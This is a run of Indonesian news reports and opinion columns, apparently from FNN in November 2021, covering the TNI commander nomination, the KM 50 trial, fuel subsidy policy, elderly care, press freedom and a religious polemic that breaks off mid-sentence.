Jakarta, FNN - Selamat Ginting, pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta menanggapi Surat Presiden (surpres) tentang usulan Jenderal Andika Perkasa menjadi Panglima Tentara Nasional Indonesia (TNI). Kepada FNN Ginting mengatakan bahwa sebagai pengamat, ia melihat tidak ada yang surprise (kejutan) mengenai surpres (surat presiden) tersebut, karena beberapa hal. Pertama; setelah melewati dinamika politik Presiden Jokowi akhirnya mantap menetapkan Jenderal Andika Perkasa untuk menjadi calon panglima TNI menggantikan Marsekal Hadi Tjahjanto yang akan segera memasuki usia pensiun 58 tahun pada 8 November 2021 mendatang. Andika sesungguhnya sudah dipersiapkan lama bersamaan dengan penetapan Marsekal Hadi Tjahjanto menjadi Panglima TNI pada Desember 2017 lalu. Dipersiapkan menjadi KSAD untuk kemudian menjadi Panglima TNI menggantikan Hadi Tjahjanto. Kedua; dalam satu bulan ini sudah banyak isyarat bahwa Andika Perkasa akan dipilih menjadi calon Panglima TNI. Yang paling akhir adalah pertemuan ‘rahasia’ Andika Perkasa dengan Presiden Jokowi beberapa hari jelang keberangkatan Jokowi keluar negeri, seperti dikemukakan sebuah sumber. Jadi, pertemuan ini luput dari perhatian publik. Bukan saat Andika turut melepas Presiden Jokowi ke luar negeri, melainkan beberapa hari sebelumnya. Di situ sesungguhnya kepastian tersebut terjadi. Pertemuan itu merupakan grand final dari pertemuan antara utusan Presiden, yakni Menteri Sekretaris Negara Pratikno pada 11 Oktober 2021 lalu di Markas Besar Angkatan Darat (Mabesad). Mensesneg diduga memberikan kabar dari Presiden mengenai penjajakan Jenderal Andika Perkasa akan menjadi calon Panglima TNI. Ketiga; jika mengacu pada alasan pertama, sesungguhnya Presiden Jokowi telah memiliki kedekatan sosiologis dan psikologis dengan Jenderal Andika Perkasa. Hal inilah yang membuat Jokowi berat untuk pidah ke lain hati, walau pun usia Andika hanya sekitar satu tahun saja untuk bisa menjadi Panglima TNI dengan catatan tidak akan mengalami perpanjangan usia pensiun. Keempat; jika Presiden Jokowi mau, maka bisa saja usia pensiun Andika diperpanjang menjadi 60 tahun, sehingga masih bisa menjabat sampai tiga tahun pada Desember 2024 atau masa peralihan kepemimpinan nasional pada Oktober 2024 mendatang. Preseden ini sudah beberapa kali terjadi. Misalnya ketika di era Presiden Soeharto tahun 1996. Jenderal Feisal Tanjung yang harusnya pensiun usia 55 tahun, pada 1996, namun mendapatkan perpanjangan hingga pensiun jelang usia 59 tahun. Saat itu usia pensin TNI masih 55 tahun. Begitu juga dengan Jenderal Endriartono Sutarto pada 2002. Seharusnya pada April 2002, dia pensiun 55 tahun, namun diperpanjang hingga 59 tahun pada 2006. Kelima; dari segi senioritas KSAD Jenderal Andika Perkasa paling senior dibandingkan dengan Kepala Staf Angkatan Laut (KSAL) Laksamana Yudo Margono maupun Kepala Staf Angkatan Udara (KSAU) Marsekal Fadjar Prasetyo. Baik dari sisi kepangkatan bintang empatnya lebih dahulu dan menjabat Kepala Staf Angkatan juga terlebih dahulu. Andika lulusan Akmil 1987, Yudo lulusan AAL 1988-A, dan fadjar lulusan AAU 1988-B. Keenam; Andika punya pengalaman lengkap sebagai perwira, antara lain pernah memegang jabatan komandan lapangan, sejak menjadi Komandan Batalyon 32/Apta Sandhi Prayuda Utama, Grup 3/Sandhi Yudha. Juga komandan wilayah, seperti Komandan Resor Militer (Danrem) 023/Kawal Samudera, Kodam I/Bukit Barisan pada 2012. Setelah itu dalam kariernya sebagai perwira tinggi dimulai menjadi Kepala Dinas Penerangan Angkatan Darat, kemudian Komandan Pasukan Pengamanan Presiden (Danpaspampres) (2014), Panglima Komando Daerah Militer (Pangdam) XII/Tanjungpura (2016). Dari situ promosi menjadi Komandan Komando Pembina Doktrin, Pendidikan dan Latihan Angkatan Darat (Dankodiklatad) (2018), Panglima Komando Strategis Angkatan Darat (Pangkostrad) (2018), hingga menjadi Kepala Staf Angkatan Darat (2018) selama 2,5 tahun. Andika yang banyak berkarier di bidang intelijen antiterror ini sudah matang dan waktunya untuk memimpin TNI. Ketujuh; dari hakikat ancaman negara saat ini yang ada di depan mata adalah masalah Papua. Papua ini wilayah daratan yang harus dipimpin panglima dari matra darat yang lebih mengenal wilayah gerilya lawan, yakni Organisasi papua Merdeka (OPM). Sementara masalah Laut China Selatan baru merupakan potensi ancaman, belum merupakan ancaman nyata seperti di Papua. Dibutuhkan panglima yang paham tentang operasi militer dalam menghadapi hakikat ancaman terhadap NKRI. (sws)

Orang Tua yang "Terbuang" dalam Perspektif Lain

Oleh Ady Amar *) KISAH ibu yang "dibuang" anak-anaknya terus jadi berita. Sudah lebih dari sepekan berita itu viral. Dimulai dari secarik kertas dari 3 anaknya bermeterai, yang menyerahkan sang ibu pada sebuah panti jompoh viral lebih dulu. Kemudian fisik sang ibu muncul dari pemberitaan media, khususnya televisi. Ditambah sang ibu yang digiring pernyataan awak media, menyatakan bahwa ia "dibuang" anak-anaknya yang tak sanggup merawatnya. Ibu itu memang mengalami kelumpuhan fisik, meski tampak tubuhnya sehat. Kisah ibu yang "dibuang", itu memang mampu mengaduk emosi banyak pihak menumpahkan sumpah serapah pada sang anak yang dikatakan dengan anak tak tahu balas budi. Ada pula yang menyebutnya, bagai kisah Malin Kundang jilid 2. Para komentator yang biasa disebut netizen, itu menjadi manusia seolah paling tahu tentang sebuah peristiwa, dan tentu seolah tahu kondisi yang dihadapi ibu dan terutama anak-anaknya. Sehingga penghakiman mesti diberikan pada anak-anaknya, dengan sebutan zalim. Putusan kata "zalim" sudah diberikan, seolah kata itu pantas diberikan pada anak-anaknya, tanpa mau mendengar mengapa sang anak harus menyerahkan sang ibu ke panti jompo. Tiga anak, dari ibu itu, tidak tinggal di satu kota. Domisili mereka di Jakarta, Bogor dan Pekalongan. Di tiga kota itu anak-anaknya tinggal. Satu dari anaknya sempat di hubungi, dan juru warta ikut mendengar dialog lewat speaker. Sang ibu mengatakan, mengapa ia "dibuang"? Dan sang anak menjawab, sama sekali bukan membuang. Ibu tidak dibuang. Ibu tinggal di sana cuma sementara, dan pada saatnya ibu nanti saya jemput. Dialog dalam bahasa Jawa, itu cukup mengenaskan bagi siapa saja yang mendengar dengan hati. Anak-anaknya memang tampak dalam kondisi kesulitan ekonomi yang sangat, bahkan salah satunya korban PHK. Kesumpekan ekonomi dan hal-hal psikologis lainnya, di mana mereka lalu bersepakat menitipkan sang ibu ke panti jompo yang dirasanya tepat. Tentu agar bisa diurus dengan baik. Semua dari kita tidak tahu apa yang terjadi sebenarnya, seberapa dahsyat kesulitan sang anak sehingga tidak mampu merawat sang ibu Kita acap mengukur semuanya dari kondisi diri sendiri, yang lalu dipersepsikan dengan kondisi orang lain. Semua yang ada di diri ini seolah representasi dari nilai kebaikan. Maka, sang anak dalam persepsi yang dimunculkan para netizen yang maha tahu, itu dengan "membuang" sang ibu. Barat dan Timur Tidak Serupa Di Timur menitipkan orang tua di panti jompo itu perbuatan tidak manusiawi, dan bahkan masuk kategori zalim. Kaidah yang dipakai, bahwa saat anak-anak dulu ia dipelihara dengan baik oleh kedua orang tuanya. Giliran orang tua sudah tua tega-teganya dititipkan di panti jompo. Di Timur, saat anak-anak tumbuh dewasa dan bekerja, maka tidak dikenal atau boleh muncul alasan kesulitan ekonomi atau hal-hal psikologis lain, sehingga orang tua yang sudah rentan mesti dititipkan pengasuhannya pada sebuah panti. Jika di Timur muncul anak-anak seperti kisah di atas, maka sumpah serapah didapatnya. Dianggap ia anak-anak tidak berbakti pada orang tua, dan umpatan sadistik lainnya bakal diterima. Sekali lagi, sikap dan laku seseorang di Timur dibuat agar menjadi sama, meski kondisi eksosbud seseorang dengan lainnya tidaklah sama. Di Timur, menjadi kesulitan tersendiri jika seseorang mencoba melawan konvensi yang dibuat sewenang-wenang dengan menyamaratakan kondisi semuanya (harus) menjadi sama. Jika berani bersikap "melawan" konvensi, maka bersiaplah untuk disebut anak durhaka. Ini Timur, bukan Barat, setidaknya itu yang selalu terngiang di hati. Maka jangan coba-coba berani melakukan hal yang diluar kebiasaan yang sudah sejak lama "diatur" menjadi kesepakatan diam-diam. Maka kebiasaan Timur itu terus diikhtiarkan. Muncul banyak orang tua yang tetap tinggal bersama anaknya dalam satu rumah, tapi seolah ia tidak merasakan tinggal bersama anaknya. Komunikasi yang diharap tidak didapat sebagaimana yang diharap. Anaknya sibuk dengan pekerjaan, sehingga komunikasi jarang didapat. Lain di Timur lain pula di Barat... Di Barat, sudah menjadi kebiasaan pada mereka yang masih aktif bekerja, menyisihkan sedikit dari gajinya untuk masa tuanya. Dan itu untuk hidup di panti jompo. Persiapan sudah dibuat jauh hari menyongsong masa tuanya. Bagian dari kesadaran, bahwa kondisi yang dihadapi sang anak di masa depan akan lebih sulit dibanding dengan masa saat ia mengasuh anak-anaknya dulu. Disitu tampak ada konsep ikhlas, meski itu tidak dikenal, hanya rasionalitas yang berbicara. Maka, di Barat tinggal di panti saat usia tua itu pilihan. Bukan "dibuang" dalam konsep Timur yang konvensinya masih terjaga rapi. Saat usia tua hidup di panti jadi pilihan. Hidup bersama banyak orang seusianya, berkomunikasi dengan baik dan dijaga kesehatannya oleh mereka yang memang hadir untuk itu. Tiap akhir pekan setidaknya sang anak, menantu dan cucunya datang mengunjungi sang nenek/kakek dengan membawa bekal sepekan yang dibutuhkan. Terkadang mengajak makan bersama di luar panti. Setidaknya itu yang bisa dilakukan, dan semua tampak happy. Jika sudah menjadi konvensi, maka Timur dan Barat punya caranya sendiri menyerap makna "berbakti", dan semestinya tidak dimaknai dengan persepsi sesukanya, bahkan persepsi yang dipaksakan dengan cara mengumpat apa yang dianggap tidak semestinya. Kehidupan di Timur dan Barat akan terus berjalan. Dan jika ada yang melenceng dari konvensi, maka bisa jadi itu karena kondisi yang menyertai. Satu hal lagi yang mesti ada dan dipunya, ikhlas dalam menyertai orang tua di usia senja tuanya, seperti mereka juga ikhlas saat mengasuh kita dengan baik dan kasih saat kanak-kanak dulu. Sekali lagi, ikhlas sebagai kata kunci dalam memperlakukan orang tua, yang sudah sepuh, dengan selayaknya. (*) *) Kolumnis

Saksi Penyidik Kepolisian Mengaku Tidak Berada di KM 50

Jakarta, FNN - Sidang lanjutan peristiwa KM 50 dengan terdakwa dua anggota polisi menghadirkan saksi penyidik dari Polda Metro Jaya. Penyidik bernama Saifullah yang hadir di PN Jakarta Selatan, Selasa, 2 November 2021, sempat dipermasalahkan jaksa penuntut umum karena tidak ada penetapan sebelumnya apakah sidang digelar secara offline atau online. Jaksa sudah memanggil saksi ke Kejaksaan Negeri sesuai penetapan hakim di persidangan sebelumnya. Belum ada penetapan yang baru dari hakim. Jaksa meminta saksi supaya datang ke kejaksaan negeri, bukan ke PN Jakarta Selatan. Sedangkan hakim menginginkan pengadilan tetap berjalan. Jaksa mengatakan, saksi yang hadir di Kejaksaan Negeri hanya satu, Saifullah. Tujuh orang saksi lainnya berada di PN Jakarta-Selatan Dari perdebatan yang cukup alot akhirnya persidangan dimulai hanya dari saksi Saifullah yang hadir di Kejaksaan Negeri Jakarta Selatan. Saifullah adalah anggota polisi yang bertugas sebagai penyidik Bareskrim Polri. Saksi dari hasil penyidikan atas peristiwa tersebut dan juga rekomendasi Komnas HAM, yang meninggal 6 orang Laskar Front Pembela Islam (FPI) yang terbagi dua lokasi. Pertama, sebelum masuk tol Jakarta-Cikampek. Kedua, di dalam mobil yang dikendarai Fikri dan kawan-kawan. Hal tersebut berdasarkan surat perintah penyidikan untuk melakukan penyidikan atas dugaan pembunuhan enam pengawal Habib Rizieq Shihab itu. Henry keberatan terhadap keterangan saksi. Sebab, saksi hanya sebagai penyidik, tidak berada di lokasi kejadian tewasnya 6 orang laskar FPI itu. Meski ada keberatan dari Henry, namun jaksa tetap melanjutkan permintaan keterangan dari saksi Saifullah. Dari hasil penyidikan, kematian Laskar FPI tersebut akibat luka tembak. Peristiwa itu terjadi didalam mobil Xenia yang dikendarai Fikri dan kawan-kawan di Km 50. Menurut Saifullah, laskar mau dibawa ke Polda Metro Jaya dengan menggunakan mobil. Akan tetapi, kata saksi, di dalam mobil terjadi perlawanan dari laskar. Mereka terpaksa ditembak polisi. Petugas yang menembak adalah adalah Elwira, Yusril, dan Fikri. Saksi melakukan kroscek di lapangan. Berdasarkan rekomendasi investigasi Komnas HAM, pengecekan di lapangan, kroscek dimulai dari area sesuai kronologi yang ada. Mulai dari Sentul, Tol Bogor, Hotel Karawang, Tol Jakarta-Cikampek sampai di rest area km 50. Penguntitan itu dilakukan karena ada informasi yang menyebutkan terjadi pengumpulan massa ke Jakarta. Ada enam orang dalam satu tim bersama Fikri. Dari hasil penyelidikan terjadi kejar-kejaran dan tembak-menembak antara polisi dan laskar. Ketika di KM 50 mobil yang ditumpangi laskar rusak. Enam penumpang pun disuruh keluar dari mobil. Menurut hasil penyelidikan, kata saksi, dilakukan penggeledahan dan pemeriksaan terhadap enam laskar dan juga isi mobil. Saat penggeledahan, kata saksi yang berasal dari polisi tersebut, ditemukan senjata tajam dan senjata api. Itu menurut hasil penyidikan yang dilakukan polisi. Kemudian, tim ahli pun melakukan penyelidikan selanjutnya. Saifullah mengakui mengetahui peristiwa tersebut dari proses penyidikan, bukan melihat langsung kejadian tersebut. Saifullah mengatakan, terdakwa membenarkan adanya penembakan. Hal itu dilakukan terdakwa karena mempertahankan senjata. Terkait keterangan tersebut, saksi hanya menyampaikan kesimpulan dari hasil penyidikan. Ia tidak melihat langsung dan tidak di berada di lokasi ketika peristiwa terjadi. Saifullah mengatakan, dari hasil penyidikan, senjata api atau senpi adalah senjata rakitan. Akan tetapi, ia tidak menyebutkan apakah berdasarkan penyidikan, senpi itu milik laskar FPI. Saifullah mengatakan, tidak melakukan pendalaman tentang kepemilikan senjata api tersebut. Majelis hakim menunda sidang sampai Selasa, 9 November 2021 pekan depan. (Much).

Surpres Calon Panglima TNI Atas Nama Jenderal Andika Perkasa

Jakarta, FNN - Ketua DPR RI Puan Maharani menerima Surat Presiden (Surpres) yang berisi calon Panglima TNI atas nama Jenderal TNI Andika Perkasa. Surpres Nomor R-50/Pres/10/2021 itu diantar langsung Mensesneg Pratikno kepada Pimpinan DPR. “Pada hari ini, Presiden telah menyampaikan Surat Presiden mengenai usulan Calon Panglima TNI kepada DPR RI atas nama Jenderal TNI Andika Perkasa, untuk mendapatkan persetujuan DPR,” kata Puan. Hal itu disampaikan Puan dalam konferensi pers di Media Center DPR RI, Jakarta, Rabu (3/11/2021), usai menerima Mensesneg Pratikno. Hadir pula dalam jumpa pers Wakil Ketua DPR RI Lodewijk Freidrich Paulus dan Rachmat Gobel. Setelah menerima nama calon Panglima TNI, kata Puan, DPR RI akan menindaklanjuti Surpres dengan menugaskan Komisi I DPR RI untuk melakukan pembahasan termasuk fit and proper test terhadap calon yang diajukan oleh Presiden. Selanjutnya, Komisi I akan melaporkan hasil pelaksanaan fit and proper test di dalam Rapat Paripurna untuk mendapatkan persetujuan. “Persetujuan DPR RI terhadap calon Panglima yang diusulkan oleh Presiden, disampaikan kepada Presiden paling lambat 20 (dua puluh) hari, tidak termasuk masa reses, terhitung sejak permohonan persetujuan calon Panglima diterima oleh DPR RI,” urainya. Puan menegaskan, DPR RI dalam memberikan persetujuan Panglima TNI usulan Presiden, akan memperhatikan dari berbagai aspek dan dimensi yang dapat memberi keyakinan bahwa Panglima TNI yang diusulkan dapat menjalankan tugasnya sebagaimana diamanatkan dalam Undang Undang TNI. “TNI ke depan juga diharapkan dapat merespons dan mengantisipasi dinamika perkembangan geopoloitik serta medan perang baru yang dipengaruhi oleh cyber dan teknologi, yang dapat mengancam kedaulatan, keutuhan wilayah, dan keselamatan bangsa,” ujar cucu proklamator Bung Karno ini. Puan mengingatkan, dalam setiap momentum pergantian Panglima TNI akan selalu disertai harapan rakyat. “Agar TNI dapat mewujudkan dirinya sebagai alat negara yang profesional dan efektif dalam mempertahankan, melindungi, dan memelihara keutuhan dan kedaulatan negara,” ujarnya Namun, DPR bisa menolak calon Panglima TNI yang diusulkan Presiden. Jika ini yang terjadi, maka Presiden harus mengirim nama baru. Tapi, penolakan calon Panglima TNI yang sudah diusulkan Presiden sangat jarang terjadi. Dikirimnya surpres ini mengakhiri teka teki soal siapa Panglima TNI baru pengganti Hadi. Sebelumnya, selain nama Andika, KSAL Laksamana TNI Yudo Margono menjadi calon kuat. Yudo menjadi calon kuat karena berdasarkan prinsip rotasi, harusnya tampuk Panglima TNI dijabat oleh AL setelah sebelumnya dijabat matra udara. (as)

Menggugat Kebijakan Harga BBM Populis Tak Berkeadilan

oleh Marwan Batubara DALAM sebulan terakhir terjadi kelangkaan bahan bakar Jenis BBM Tertentu (JBT, terutama solar), Jenis BBM Khusus Penugasan (JBKP, terutama premium), dan BBM umum (pertamax & pertalite) pada sejumlah SPBU di Sumatera, Jawa dan Sulawesi. Kelangkaan antara lain telah menimbulkan antrian panjang, kemacetan, terhentinya nelayan Pantura melaut (Gresik, Lamongan, Tuban, dll.), dan terganggunya kegiatan ekonomi. Penyebab kelangkaan baik menurut BPH Migas, Pertamina, maupun analisis IRESS seperti diurai berikut. Pertama, dikatakan BBM langka karena stok dan pasokan perlu dikendalikan agar tidak melampaui kuota 2021 (15,8 juta kiloliter, kl). Artinya pasokan memang sengaja dikurangi agar kuota tidak terlampaui, terutama karena menyangkut pagu anggaran APBN. Kedua, kebutuhan BBM melonjak seiring meningkatnya aktivitas masyarakat karena pelonggaran Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Menurut Pertamina, dibanding tahun lalu, permintaan BBM jenis gasoline (Pertalite dan Pertamax series) dan gasoil (biosolar dan dex series) naik antara 3,5 hingga 16 persen di berbagai wilayah. Ketiga, terjadi penyalahgunaan BBM terutama karena semakin besarnya disparitas harga BBM umum/non- subsidi dengan solar dan preminum. Selisih harga membesar karena semakin tingginya harga minyak dunia. Sementara harga solar dan premium tidak naik. Maka, secara ilegal konsumen BBM non-subsidi beralih ke BBM bersubsidi. Pasar gelap dan penyelewengan pun marak pada sektor-sektor industri, tambang, perkebunan, dll. Keempat, penyalahgunaan BBM semakin meningkat akibat lemahnya pengawasan, minimnya penegakan dan sanksi hukum, serta terlibatnya oknum-oknum terkait pada rantai pasok, distribusi, dan pengawasan. Perburuan rente ini terjadi secara sistemik berkelanjutan. Kelima, solar langka akibat kenaikan harga minyak sawit/CPO, sebab BBM solar subsidi masuk program solar B30. Harga CPO telah naik sekitar 75% dibanding 2020, sehingga harga FAME sebagai campuran B30 ikut naik. Sementara, meski menjadi negara pengekspor CPO terbesar, pemerintah belum menerapkan DMO. Maka, Indonesia jangan bermimpi mengurangi impor migas dengan program B40, B50, dst, jika hanya untuk kadar rendah saja seperti B30 gagal berdaulat. Keenam, pemerintah/BPH Migas gagal mengantisipasi naiknya permintaan saat PPKM direlaksasi, saat kehidupan “kembali normal”. Hal ini sebetulnya bisa dianalisis, karena permintaan menigkat secara gradual. Karena itu, langkah-langkah antisipatif mestinya mudah disiapkan, sehingga kelangkaan bisa dicegah. Ketujuh, kelangkaan BBM terjadi diyakini sebagai bagian upaya Pertamina mengatasi masalah cash flow. Karena harga minyak dunia terus naik, sementara harga solar dan premium tetap, maka beban subsidi dan kompenasi semakin besar. Memang subsidi dan kompensasi ini kelak dibayar pemerintah, namun karena jumlahnya terus membesar dan waktu pelunasan tidak pasti, maka keuangan Pertamina jelas terganggu. Karena itu, di samping menyiapkan dana talangan yang juga menimbulkan beban tambahan berupa bunga (cost of fund), Pertamina pun harus mengurangi pasokan. Berbagai langkah kebijakan dan program mengatasi sebagian dari tujuh faktor penyebab kelangkaan di atas dapat dilakukan pemerintah dengan cepat. BPH Migas dan Pertamina misalnya telah melakukan koordinasi. BPH Migas telah menerbitkan surat relaksasi distribusi solar bersubsidi. Pertamina diberi wewenang mengatur kuota antar wilayah dan sektor, sepanjang tidak melebihi kuota nasional 15,8 juta kl. Kuota nasional 15,8 juta kl bisa saja dinaikkan, terutama jika dibutuhkan untuk menjamin perbaikan ekonomi dan berbagai aspek kehidupan masyarakat. Kenaikan ini relevan, sebab sebelumnya nilai kuota 35 juta kl (2020) dan 38 juta kl (2019, sebelum pandemi). Pemerintah dan DPR dapat membuat kesepakatan sesuai mekanisme dan hukum berlaku. Hal prioritas dan menyangkut hidup rakyat tidak boleh dikalahkan mekanisme teknis prosedural. Sistem Pricing & Subsidi Tidak Adil Ternyata di balik berbagai faktor penyebab kelangkaan terkandung masalah besar yang mendesak diperbaiki. Disparitas harga telah menimbulkan penyalahgunaan BBM bersubsidi. Disparitas harga terjadi karena kebijakan subsidi dan pricing BBM populis bermasalah. Sedang kebijakan populis ini, terutama dengan tidak menaikkan harga solar dan premium, terjadi akibat dominannya pertimbangan politik. Tujuannya, untuk meraih dan mempertahankan kekuasaan, dan pada level tertentu, untuk kepentingan oligarki dan perburuan rente. Dampak kebijakan BBM populis antara lain adalah anggaran subsidi APBN semakin besar terutama saat harga minyak dunia terus naik. Padahal studi Bank Dunia menunjukkan sekitar 72% subsidi BBM tidak tepat sasaran. Artinya, mayoritas dana subsidi APBN puluhan hingga ratusan triliun Rp justru dinikmati golongan mampu secara tidak adil. Selain itu, karena ruang fiskal terbatas, maka naiknya dana subsidi akan mengurangi alokasi dana untuk pengentasan kemiskinan. Maka populasi rakyat miskin dan gap kaya-miskin (rasio GINI) tetap tinggi. Di samping tidak adil dan melanggengkan kemiskinan, kebijakan BBM populis telah pula merusak kinerja BUMN, terutama Pertamina dan PLN sebagai penyedia layanan energi utama publik. BUMN energi kita sudah biasa menjadi objek bancakan penguasa, sejak dulu hingga sekarang. Sikap semau gue karena berkuasa ini telah dan akan terus mengancam pelayanan energi berkelanjutan dan ketahanan energi nasional, termasuk naiknya harga BBM dan listrik secara signifikan oleh swasta, jika BUMN sampai bangkrut atau saham anak usahanya dijual. Berdasar publikasi Pertamina dan APBN 2021, harga minyak mentah Indonesia, ICP, diasumsikan US$ 45/barel. Ternyata harga minyak naik menjadi US$ 50-an sejak Januari dan menjadi US$ 80-an per barel pada Oktober. Secara rerata hingga Oktober 2021 ICP telah naik sekitar 80%. Karena harga solar dan premium tidak berubah, maka besarnya piutang Pertamina kepada pemerintah hingga Oktober 2021, berasal dari subsidi dan kompensasi (selisih harga jual eceran JBT dan JBKP), diperkirakan mencapai US$ 5,1 milar, atau sekitar Rp 72 triliun. Jangka pendek, pemerintah harus segera membayar piutang Pertamina, terutama agar masalah cash flow dan kelangkaan BBM dapat segera diatasi. Sejalan dengan itu, terlepas dari mekanisme APBN yang harus dipenuhi, pemerintah pun harus menambah kuota BBM, termasuk tambahan dana subsidi yang menyertai. Jika tidak ditambah, bisa saja ekonomi dan kehidupan masyarakat terdampak. Namun, masalah yang dihadapi rakyat bukan sekedar kelangkaan BBM, dan dianggap selesai dengan solusi jangka pendek. Selama ini rakyat telah sangat dirugikan saat dana subsidi BBM diselewengkan ke sektor industri, tambang, perkebunan, dll. Rakyat butuh solusi adil, komprehensif dan berkelanjutan, yang berpangkal dari kebijakan harga dan subsidi BBM yang bermasalah, serta sarat kepentingan pencitraan politik. Untuk itu, IRESS menuntut agar pemerintah segera menetapkan sistem pricing dan subsidi BBM yang adil dan berkelanjutan. Sebagaimana diusulkan sejak 2015-an, sistem pricing BBM harus dinamis secara berkala sesuai perubahan variable harga minyak dunia, kurs dan indeks harga barang tertentu. Selain itu sistem harga tunggal atas seminim mungkin jenis ini, perlu pula menerapkan skema dana stabilisasi (mengatasi dampak volatilitas harga minyak dunia) dan skema dana ketahanan/saving (mendukung keberlanjutan dan pengembangan EBT). Bersamaan dengan penerapan harga tunggal dinamis berkala, sistem harga BBM pun harus bebas dari pola subsidi barang untuk diganti dengan pola subsidi langsung. Rakyat miskin dan sektor-sektor relevan dan layak harus diprioritaskan memperoleh subsidi. Jika pemerintah dan Pertamina berkomitmen kuat, tidak terkontaminasi berbagai kepentingan sempit, pola subsidi langsung mestinya mudah dilakukan menggunakan teknologi IT dan aplikasi on-line yang telah berkembang pesat. Pertamina pun telah memulai dengan digitalisasi SPBU dan pelayanan. Apakah “The Real President”, Mr. Jokowi, peduli mengakhiri kebijakan harga BBM populis tak berkeadilan?[] Jakarta, 3 November 2021 *) Direktur Eksekutif IRESS

SBY Sakit Diumumkan Tanpa Harus Ada Yang Dipolisikan

By Asyari Usman TERIMA kasih kepada Pak Susilo Bambang Yudhoyono (SBY) yang langsung memberitahu publik bahwa beliau sakit dan akan dirawat di luar negeri. Cepat diumumkan, tanpa harus menunggu publik bertanya-tanya. Tanpa menunggu spekulasi bermunculan. Tanpa ada wartawan bereputasi yang harus dipolisikan. Informasi tentang Pak SBY sakit sangat jelas dan detail. Penyakit apa, juga disebutkan. Mau dirawat ke mana, diterangkan. Hanya dalam satu atau dua lembar rilis tertulis saja. Begitulah seharusnya seorang tokoh publik (public figure). Orang ingin tahu. Dan memang berhak tahu. Apalagi soal sakit-sehatnya tokoh tersebut. Konon pula tokoh itu adalah mantan presiden. Singkatnya, apa saja yang dilakukan oleh, atau yang terjadi atas, tokoh publik tidak boleh disembunyikan. Kalau dia sedang sakit, orang ingin tahu apa penyakitnya. Bagaimana perawatannya. Bahkan orang ingin tahu proses diagnosenya. Juga komentar para dokter yang memeriksa, dan lain sebagainya. Dengan begitu, kalangan media tidak perlu terjebak. Para wartawan tidak harus menggali informasi yang tak jarang harus berputar-putar mengenai kondisi seorang “public figure”. Bertelangkai ke sana ke mari untuk mencari kepastian. Sangat mungkinlah terjadi kekeliruan --kecil atau besar. Yang disebabkan oleh ketersendatan informasi mengenai tokoh publik. Sekitar awal September baru lalu, itulah yang terjadi. Jurnalis senior yang berjam terbang panjang dan sangat berpengalaman, ingin mencari tahu apa yang terjadi dengan mantan presiden lainnya – Bu Megawati Soekarnoputri (Bu Mega). Hersubeno Arief, si wartawan senior FNN, berusaha sekuat tenaga untuk memastikan rumors bahwa Bu Mega dirawat di ICU RSPP. Hersubeno, yang selalu hati-hati dan menjunjung tinggi asas jurnalistik itu, membuat uraian yang kronologis tentang kondisi ketua umum PDIP itu. Hersu memasukkan semua informasi yang terkait dengan rumors Bu Mega Sakit. Semua penjelasan dari orang-orang senior PDIP waktu itu disertakan di dalam laporan analitik Hersubeno. Namun, informasi yang pasti dan valid tak kunjung muncul. Sementara rumors itu semakin ramai di media sosial. Lebih dari 24 jam sejak rumors muncul, barulah ada kepastian. Bu Mega sendiri langsung menjelaskan kondisi beliau ketika membuka acara kaderisasi PDIP. Ternyata, beliau tidak sakit. Nah, apakah rumors ini harus diabaikan saja? Jawabannya: tidak mungkin diabaikan karena tiga hal. Pertama, Bu Mega adalah “public figure”. Kedua, Hersubeno adalah seorang jurnalis. Ketiga, rumors itu telah menjadi pengetahuan khalayak. Sayangnya, tayangan Bung Hersu yang sangat komplit dan seratus persen berkaidah jurnalistik itu, dilaporkan ke Kepolisian oleh seorang kader PDIP. Hersubeno dituduh menyebarkan berita hoax. Hanya karena ucapan Bung Hersu bahwa dia rada-rada bisa percaya dengan penjelasan temannya seorang dokter bahwa informasi tentang Bu Mega yang dirawat di ICU RSPP itu, benar. Harap diingat, kutipan ucapan teman Hersubeno itu tidak “on its own” (berdiri sendiri). Ucapan dokter tersebut adalah bagian dari laporan panjang dan komprehensif. Yaitu, laporan analitik yang memenuhi kaidah-kaidah jurnalistik. Tidak wajar kalau bagian yang integral itu di-“singled out” (dicomot begitu saja) untuk dijadikan tuduhan hoax oleh si pelapor. Bung Hersu justru mengingatkan agar siapa pun juga jangan mudah menyebar hoax. Dia juga mengajak publik untuk menerapkan prinsip dasar seorang jurnalis yang “wajib” skeptis terhadap semua informasi. Bahkan Hersu meminta agar informasi dari dokter teman beliau yang mengklaim bahwa Bu Mega koma 1,000 persen valid, juga harus diverifikasi lebih dulu. Kepolisian tidak seharusnya memproses laporan kader PDIP itu karena konten video yang dibuat dan ditayangkan oleh Bung Hersu adalah karya jurnalistik. Yang dilindungi oleh UU No. 40 tahun 1999 Tentang Pers. Kepolisian seharusnya merujuk subjek laporan tersebut ke Dewan Pers sebagai “majelis hakim” yang berwenang menilai konten video dimaksud. Kembali ke Pak SBY, publik di media sosial langsung medoakan beliau agar sembuh dari kanker prostat. Publik juga mengapresiasi penjelasan tentang kondisi beliau. Rakyat tahu apa yang terjadi terhadap presiden yang dinilai sukses memimpin Indonesia menjadi lebih baik. Untuk Bu Mega, semoga tidak ada lagi rumors tentang kondisi kesehatan beliau. Kita doakan agar Bu Mega sehat selalu. Kalau pun beliau sakit, semoga tidak berlama-lama. Maksudnya, tidak berlama-lama menjelaskan ke publik. Dan mudah-mudahan pula tidak ada lagi wartawan yang dilaporkan ke Polisi gara-gara percikan spekulasi dan rumors yang tidak segera dipadamkan.[] (Penulis wartawan senior FNN)

Nyanyian Liberal Ade Armando, “Dholaal wa Mudhil” (Sesat dan Menyesatkan)

Oleh Shamsi Ali *) SAYA sebenarnya tidak terlalu tertarik menanggapi video terbaru si Ade Armando. Selain banyak yang mengingatkan agar tidak perlu direspons karena hanya memberi posisi yang sangat tidak layak baginya. Juga memang membuang waktu, energi dan juga kesia-siaan. Respons kepada respons saya yang lalu tidak bermutu, kekanak-kekanakan, dan menggambarkan akal yang terbalik (twisted mind). Ade Armando kembali menyanyikan lagu kaum liberal. Nyanyian lama yang tidak bermutu dan membosankan. Bahwa ketika ada di kalangan Umat ini menyampaikan argumentasi Islam secara “konsisten dan benar” maka dia akan dituduh sempit, kurang logis/rasional, kurang luas berpikir/wawasan. Tuduhan kepada para Ulama seperti ini sudah nyanyian bersama kaum liberal. Karena di satu sisi mereka mengaku menghormati keragaman opini/pendapat. Tapi di sisi lain ketika ada yang menentang pemikiran mereka justeru dituduh sempit dalam berpikir. Saya ingin mengatakan bahwa mereka (kaum liberal) ini adalah orang-orang yang 